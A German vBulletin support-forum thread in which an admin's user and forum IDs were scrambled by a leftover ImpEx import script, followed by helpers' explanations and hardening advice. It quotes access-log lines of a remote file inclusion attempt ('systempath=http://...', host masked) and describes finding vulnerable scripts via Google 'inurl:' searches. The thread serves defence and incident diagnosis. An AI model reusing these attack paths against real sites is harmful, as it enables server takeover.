ID's haben sich geändert - alle zuordnungen weg

[a13x4nd3r]

Hallo zusammen,
Ich habe seid gestern ein massives Problem mit dem Forum. Von einem Tag auf den anderen (OHNE etwas besonders gemacht zu haben!!!) haben sich die userid's, forenid's und warscheinlich auch noch andere einfach über Nacht geändert.

Jetzt fehlen natürlich säntliche zuordnungen Themen->Forum, PM->User, etc.
Außerdem ist mir aufgefallen, dass alle groupid's genullt wurden (und noch andere user settings) und so kein Login mehr möglich war. Für die Administratoren hab ich jetzt die gruppenid's manuell angepasst, aber für alle user und pm unmöglich. So hab ich jetzt wenigstens wieder Admin Zugang.

Wie kann so etwas vorkommen ? Index neu erstellt und was schief gegangen ?
Jemand eine Idee wie man das wieder hinbiegen könnte ?
Das letzte Backup ist von vor 3 Monaten und somit eindeutig zu alt zum zurückspielen :(

vbulletin Version 3.5.1

Bitte sagt mir nicht das die Situation hoffnungslos ist ! :(

alex

[Gandalf2003]

Bitte sagt mir nicht das die Situation hoffnungslos ist ! :(

alex


Hoffnungslos ist es nur dann, wenn man kein Backup hat:D Sorry, aber zur eigentliche Frage kann ich keine Auskunft geben.

[Mystics]

Sowas kann nur passieren, wenn man ImpEx erneut ausführt.

Habt ihr mal ein anderes Forensystem mit ImpEx importiert? Befindet sich diese alte Version noch auf dem Server (impex Verzeichnis)?

Ansonsten hat Svenna leider Recht.

[a13x4nd3r]

Sowas kann nur passieren, wenn man ImpEx erneut ausführt.

Habt ihr mal ein anderes Forensystem mit ImpEx importiert?

Ja haben wir !

Befindet sich diese alte Version noch auf dem Server (impex Verzeichnis)?

JA !

Allerdings kann ich mir nicht vorstellen das jemand ausgeführt hat (zumindest nicht wissentlich).
Wird das gelogged ? Kann man das irgendwo überprüfen ob das noch mal durchgelaufen ist ?
Kriegt man das wieder gerade gebogen ?

Danke schon mal für Hilfe

alex

[hcmagix]

Allerdings kann ich mir nicht vorstellen das jemand ausgeführt hat

Also wenn das IMMER noch auf dem Server rumliegt kann jeder da drauf klicken (/impex/index.php) und schon gehts los. Frage. Warum liegt Impex noch IMMER auf dem Server.

[a13x4nd3r]

OH MIST ... das wusste ich nicht :eek: ! Muss das auch so unsicher sein :confused:

Sollte man vielleicht doch deutlicher hinschreiben, dass das Impex nach dem Import sofort entfernt werden sollte !!! Rot FETT und Unterstrichen !

Naja passiert ist passiert ... seht Ihr eine Chance das ganze wieder gerade zu biegen ? :(

alex

[Mystics]

Beim Ausführen von ImpEx muss man aus Sicherheitsgründen ja seine Kundennummer eingeben, es kann aber sein, dass man das in einer alten Version wegen der Sicherheitslücke umgehen kann:
http://www.vbulletin-germany.com/forum/showthread.php?t=23303

Und nein, da kann man ohne Backup leider absolut nichts mehr machen.

[a13x4nd3r]

Impex Version ist: Revision: 1.15
und diese erwähnte Schwachstelle ist erst in der ImpEx Build Version: 1.45 behoben worden. :( :( :(

Somit war ich wohl betroffen ...

EDIT: Die "UNIQUE Indexe korrigieren" Funktion unter Wartung wird mir auch nicht weiterhelfen oder ?


Wenn aus irgendeinem Grund die UNIQUE Indexe in Ihrer Datenbank verloren gegangen sind, z.B. beim Importieren einer fehlerhaften oder nicht vollständigen Datenbanksicherung, könnten Sie im Sprach- bzw. Template-System ein merkwürdiges Verhalten feststellen.

Diese Funktion versucht das Problem zu beheben und die UNIQUE Indexe wiederherzustellen.

Bitte überprüfen Sie vor dem Ausführen dieser Funktion, dass die Datei mysql-schema.php im Verzeichnis install auf dem aktuellen Stand ist.


alex

[Mystics]

Du solltest die E-Mail mit diesem Hinweis aber auch am 7. April 2006 bekommen haben.

Nein, die Funktion hilft da nichts. Alle importierten Daten wurden bei dir gelöscht und neu importiert. Es gibt nichts, was das rückgängig machen kann.

[a13x4nd3r]

Es sieht sogar noch viel schlimmer aus als ich dachte ! :eek:

Hab jetzt die access log durch und muss nun feststellen, dass ein netter Mensch aus der Türkei wohl versucht hat Zugriff auf den Webserver zu erlangen.

Er hat auch versucht über: /forum/impex/ImpExController.php?systempath=http://xxxxxxxxx
und
/forum/impex/index.php?systempath=http://xxxxxxxxx

Dieses Script auszuführen: http://xxxxxxxxx

Ich hänge mal den Ausschnitt aus der access.log hier an, vielleicht kann mir jemand sagen ob er es geschafft hat das script auszuführen und weiviel Schaden man damit anrichten kann ?!?

alex

[cYbercOsmOnauT]

Ich kenne mich ein wenig mit der Materie aus. Mystics bat mich deswegen hier auf diese Problematik zu antworten.

Die von Dir erlebte Attacke nennt sich "external file inclusion via register globals". Diese Art von Attacken gehen auf nicht genügend gesicherte Scripte und versuchen die Variable des Systemroot-Verzeichnisses auf ihr externes Script zu leiten. Sobald das schadhafte Script nun versucht eine andere Datei zu includen, wird das Shellscript geladen und ausgeführt.

Der Angreifer erhält damit eine PHP-Shell mit den Rechten des PHP-Interpreters. Somit kann er (zumeist) im Boardverzeichnis, zumindest aber in den upload- cache-Verzeichnissen Dateien hochladen, oder gar Boarddateien editieren. Gelingt es ihm die DB-Konfiguration auszulesen, kann er auch über das Shellscript auf die Datenbank zugreifen und Änderungen vornehmen.

Hört sich schlimm an, ist es im Schadfalle auch. Jedoch kann man solchen Attacken recht einfach entgegnen, denn diese Angriffsszenarien funktionieren nur, wenn die Option Register Globals aktiv ist.

Wie kann man prüfen, ob diese Option auf der eigenen Domain aktiv ist?
Im Administrator-Kontrollzentrum zur Kategorie Wartung, dort auf PHP-Info zeigen gehen und in der Anzeige nach register_globals suchen. Rechts daneben steht dann, ob es aktiviert, oder deaktiviert ist.

Wie kann ich diese Option deaktivieren um besser geschützt zu sein?

1. Wer einen Rootserver sein eigen nennt, kann diese Option in der php.ini abschalten.

2. Wenn PHP als Apache-Modul auf dem Server läuft, kann man sich auch mit einer .htaccess im Hauptverzeichnis der Domain aushelfen. Diese .htaccess muss folgende Zeile beinhalten:php_flag register_globals offAchtung: Sollte der Server dies nicht unterstützen sieht man nur noch HTTP 500! Dann bleibt nur noch Möglichkeit 3.

3. Den Provider anrufen und ihn bitten diese Optionen abzuschalten.

Weitere Informationen über Register Globals können hier (http://www.phpbar.de/w/Register_globals) nachgelesen werden.

Viele Grüße,
Tekin

Nachtrag:

Um einen ersten Überblick zu bekommen, ob irgendwelche Fremdscripte hochgeladen wurden, geh via FTP auf Deine Domain und sortiere die Dateien in den Verzeichnissen, in denen PHP Schreibrechte hat, nach Datum (absteigend). Wenn dort irgendwelche "eigenartigen" Dateien neueren Datums auftauchen, solltest Du diese überprüfen.

Sollte der Angreifer auf Deine DB zugegriffen und sie verändert haben, hilft Dir nur noch ein Backup, den Du hoffentlich immer wieder gemacht hast.

Eines noch zur Vorgehensweise dieser Hacks. Die "Hacker" suchen einfach per Google "inurl:" nach bekannten Scripts, die solche Lücken aufweisen und versuchen ihr Glück mit dem Inclusion-Link. Die Spider von Google parsen ja nicht nur brav die Topics des Boards, sondern auch jegliche Scripte, die sie finden. Verzeichnisse, wie zum Beispiel /impex/, in denen der Spider nichts verloren hat, sollte man per robots.txt disallow'en! Somit werden solche Script auch nicht mehr über Google gefunden.

[a13x4nd3r]

Hallo cYbercOsmOnauT,

Erstmal vielen Dank für die ausführliche Erklärung.

php_register_globals off ist glücklicherweise aktiviert und so konnte das externe script auch nicht ausgeführt werden. Leider wurde dennoch der User Import gestartet und so die Userid's neu generiert. :(

danke soweit

alex

[dookie]

Man kann nur immer wieder betonen, wie wichtig regelmässige (tägliche!) Backups sind. Tut mir leid für dich, sieht wohl recht düster aus. :(